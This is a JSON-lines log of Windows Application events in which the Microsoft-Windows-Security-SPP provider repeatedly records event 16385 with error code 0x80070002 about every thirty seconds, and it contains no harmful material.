{"@timestamp":1659063938739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174116}}
{"@timestamp":1659063968747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174117}}
{"@timestamp":1659063998757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174118}}
{"@timestamp":1659064028763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174119}}
{"@timestamp":1659064058769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174120}}
{"@timestamp":1659064088776,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174121}}
{"@timestamp":1659064118783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174122}}
{"@timestamp":1659064148791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174123}}
{"@timestamp":1659064178799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174124}}
{"@timestamp":1659064208806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174125}}
{"@timestamp":1659064238812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174126}}
{"@timestamp":1659064268819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174127}}
{"@timestamp":1659064298826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174128}}
{"@timestamp":1659064328832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174129}}
{"@timestamp":1659064358839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174130}}
{"@timestamp":1659064388846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174131}}
{"@timestamp":1659064418852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174132}}
{"@timestamp":1659064448859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174133}}
{"@timestamp":1659064478866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174134}}
{"@timestamp":1659064508873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174135}}
{"@timestamp":1659064538879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174136}}
{"@timestamp":1659064568887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174137}}
{"@timestamp":1659064598895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174138}}
{"@timestamp":1659064628902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174139}}
{"@timestamp":1659064658910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174140}}
{"@timestamp":1659064688917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174141}}
{"@timestamp":1659064718925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174142}}
{"@timestamp":1659064748931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174143}}
{"@timestamp":1659064778939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174144}}
{"@timestamp":1659064808946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174145}}
{"@timestamp":1659064838952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174146}}
{"@timestamp":1659064868959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174147}}
{"@timestamp":1659064898967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174148}}
{"@timestamp":1659064928973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174149}}
{"@timestamp":1659064958979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174150}}
{"@timestamp":1659064988989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174151}}
{"@timestamp":1659065018996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174152}}
{"@timestamp":1659065049002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174153}}
{"@timestamp":1659065079008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174154}}
{"@timestamp":1659065109016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174155}}
{"@timestamp":1659065139024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174156}}
{"@timestamp":1659065169030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174157}}
{"@timestamp":1659065199041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174158}}
{"@timestamp":1659065229052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174159}}
{"@timestamp":1659065259058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174160}}
{"@timestamp":1659065289065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174161}}
{"@timestamp":1659065319072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174162}}
{"@timestamp":1659065349081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174163}}
{"@timestamp":1659065379088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174164}}
{"@timestamp":1659065409095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174165}}
{"@timestamp":1659065439103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174166}}
{"@timestamp":1659065469110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174167}}
{"@timestamp":1659065499116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174168}}
{"@timestamp":1659065529123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174169}}
{"@timestamp":1659065559128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174170}}
{"@timestamp":1659065589136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174171}}
{"@timestamp":1659065619142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174172}}
{"@timestamp":1659065649148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174173}}
{"@timestamp":1659065679154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174174}}
{"@timestamp":1659065709162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174175}}
{"@timestamp":1659065739168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174176}}
{"@timestamp":1659065769175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174177}}
{"@timestamp":1659065799181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174178}}
{"@timestamp":1659065829188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174179}}
{"@timestamp":1659065859193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174180}}
{"@timestamp":1659065889200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174181}}
{"@timestamp":1659065919206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174182}}
{"@timestamp":1659065949215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174183}}
{"@timestamp":1659065979220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174184}}
{"@timestamp":1659066009227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174185}}
{"@timestamp":1659066039234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174186}}
{"@timestamp":1659066069241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174187}}
{"@timestamp":1659066099248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174188}}
{"@timestamp":1659066129254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174189}}
{"@timestamp":1659066159260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174190}}
{"@timestamp":1659066189267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174191}}
{"@timestamp":1659066219273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174192}}
{"@timestamp":1659066249281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174193}}
{"@timestamp":1659066279287,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174194}}
{"@timestamp":1659066309294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174195}}
{"@timestamp":1659066339302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174196}}
{"@timestamp":1659066369309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174197}}
{"@timestamp":1659066399317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174198}}
{"@timestamp":1659066429323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174199}}
{"@timestamp":1659066459331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174200}}
{"@timestamp":1659066489339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174201}}
{"@timestamp":1659066519345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174202}}
{"@timestamp":1659066549354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174203}}
{"@timestamp":1659066579360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174204}}
{"@timestamp":1659066609367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174205}}
{"@timestamp":1659066639373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174206}}
{"@timestamp":1659066669381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174207}}
{"@timestamp":1659066699388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174208}}
{"@timestamp":1659066729394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174209}}
{"@timestamp":1659066759401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174210}}
{"@timestamp":1659066789409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174211}}
{"@timestamp":1659066819416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174212}}
{"@timestamp":1659066849424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174213}}
{"@timestamp":1659066879432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174214}}
{"@timestamp":1659066909438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174215}}
{"@timestamp":1659066939444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174216}}
{"@timestamp":1659066969451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174217}}
{"@timestamp":1659066999459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174218}}
{"@timestamp":1659067029465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174219}}
{"@timestamp":1659067059473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174220}}
{"@timestamp":1659067089479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174221}}
{"@timestamp":1659067119489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174222}}
{"@timestamp":1659067149495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174223}}
{"@timestamp":1659067179501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174224}}
